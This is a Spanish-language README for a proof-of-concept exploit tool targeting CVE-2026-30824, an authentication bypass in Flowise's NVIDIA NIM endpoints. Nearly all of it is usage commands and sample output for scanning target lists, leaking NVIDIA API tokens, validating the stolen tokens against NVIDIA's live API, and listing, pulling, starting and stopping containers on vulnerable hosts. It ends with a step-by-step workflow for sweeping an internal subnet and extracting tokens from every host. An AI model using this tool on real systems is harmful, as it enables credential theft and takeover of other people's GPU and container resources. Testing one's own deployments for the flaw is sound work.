
Un exploit de prueba de concepto para **CVE-2026-30824**, una vulnerabilidad crítica de omisión de autenticación en Flowise que expone los endpoints de la API de NVIDIA NIM sin autenticación.
Un comprobador y exploit de prueba de concepto para CVE-2026-30824, una vulnerabilidad crítica de omisión de autenticación en Flowise que expone los endpoints de la API de NVIDIA NIM sin autenticación.
CVE-2026-30824 es una omisión de autenticación crítica en Flowise (< 3.0.13) que permite a atacantes remotos no autenticados acceder a la gestión de contenedores NVIDIA NIM y a los endpoints de generación de tokens de API.
| Campo | Valor |
|---|---|
| Puntuación CVSS | 9.8 (Crítico) |
| CWE | CWE-306: Autenticación faltante para función crítica |
| Versiones afectadas | Flowise < 3.0.13 |
| Impacto | Gestión completa de contenedores, acceso a GPU, robo de tokens |
La ruta /api/v1/nvidia-nim/* está en la lista blanca del middleware global de autenticación, lo que permite el acceso no autenticado a:
✅ Detección de vulnerabilidad — Comprobación rápida si el objetivo es vulnerable
✅ Extracción de tokens — Filtración de tokens de API de NVIDIA desde endpoints vulnerables
✅ Validación de tokens — Verificación de tokens contra la API de NVIDIA (demostrar el radio de impacto)
✅ Enumeración de contenedores — Listar contenedores NIM en ejecución
✅ Escaneo por lotes — Escanear múltiples objetivos desde un archivo
✅ Omisión de SSL — Ignorar certificados autofirmados por defecto
✅ Salida con colores — Indicadores de estado fáciles de leer (verde/amarillo/rojo)
✅ Reconocimiento — Mapeo completo de endpoints y diagnósticos
requests# Clonar o descargar el script
git clone <repositorio>
cd cve-2026-30824
# Instalar dependencias
pip install -r requirements.txt
# o
pip install requests
# Comprobar si un único objetivo es vulnerable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Salida esperada (VULNERABLE):
# [+] El objetivo parece VULNERABLE (HTTP 200)
# Respuesta: {...}
# Crear targets.txt con una URL por línea
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Escanear todos los objetivos (modo rápido, sin avisos)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Resumen de salida esperado:
# ============================================================
# [*] Resumen del escaneo
# ============================================================
# [+] VULNERABLES: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] PARCHEADOS: 1
# ✗ http://192.168.1.102:3000
# Filtrar el token de API de NVIDIA desde el endpoint vulnerable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Salida esperada:
# [*] Intentando filtrar el token de API de NVIDIA...
# [+] Token de API de NVIDIA: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Tipo de token: Bearer
# [+] Expira en: 3600s
# Verificar que un token filtrado funciona contra la API real de NVIDIA
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Salida esperada:
# [*] Validando token contra la API de NVIDIA...
# [+] ¡Token VÁLIDO! Acceso a 45 modelos NVIDIA NIM.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Enumerar contenedores en el objetivo
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Salida esperada:
# [*] Listando contenedores en ejecución...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Ejecutar todas las comprobaciones de reconocimiento en el objetivo vulnerable
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Argumentos opcionales:
-h, --help Mostrar este mensaje de ayuda y salir
-t, --target TARGET URL del objetivo (p. ej., http://192.168.1.100:3000)
-f, --targets-file FILE Archivo con la lista de objetivos (uno por línea)
Detección de vulnerabilidad:
--check Solo comprobar si el objetivo es vulnerable
--scan-only Escanear objetivos en busca de vulnerabilidades sin avisos
--debug Mostrar detalles de la solicitud y respuestas sin procesar
Explotación:
--get-token Filtrar token de API de NVIDIA
--validate-token TOKEN Validar token filtrado contra la API de NVIDIA
--list-containers Listar contenedores NIM en ejecución
--get-container CONTAINER_ID Obtener detalles del contenedor
--get-image IMAGE_ID Obtener detalles de la imagen
--pull-image IMAGE_TAG Descargar una imagen Docker (p. ej., nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Iniciar un contenedor desde una etiqueta de imagen
--container-name NAME Nombre para el contenedor iniciado
--stop-container CONTAINER_ID Detener un contenedor en ejecución
--preload Activar el endpoint de precarga de recursos
--all Ejecutar todas las comprobaciones de reconocimiento
Avanzado:
--timeout SECONDS Tiempo de espera de la solicitud en segundos (predeterminado: 15)
# 1. Escanear toda la subred en busca de instancias vulnerables
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Para cada objetivo vulnerable, extraer el token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Validar el impacto del token
python3 CVE-2026-30824.py --validate-token "<token-extraído>"
# Verificar la vulnerabilidad y demostrar el radio de impacto completo
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Esto hará:
# 1. Comprobar la vulnerabilidad
# 2. Extraer el token de API de NVIDIA
# 3. Validar el token contra la API de NVIDIA
# 4. Listar contenedores en ejecución
# 5. Mostrar la enumeración de recursos
# Monitorear un objetivo periódicamente (mediante cron o programador)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log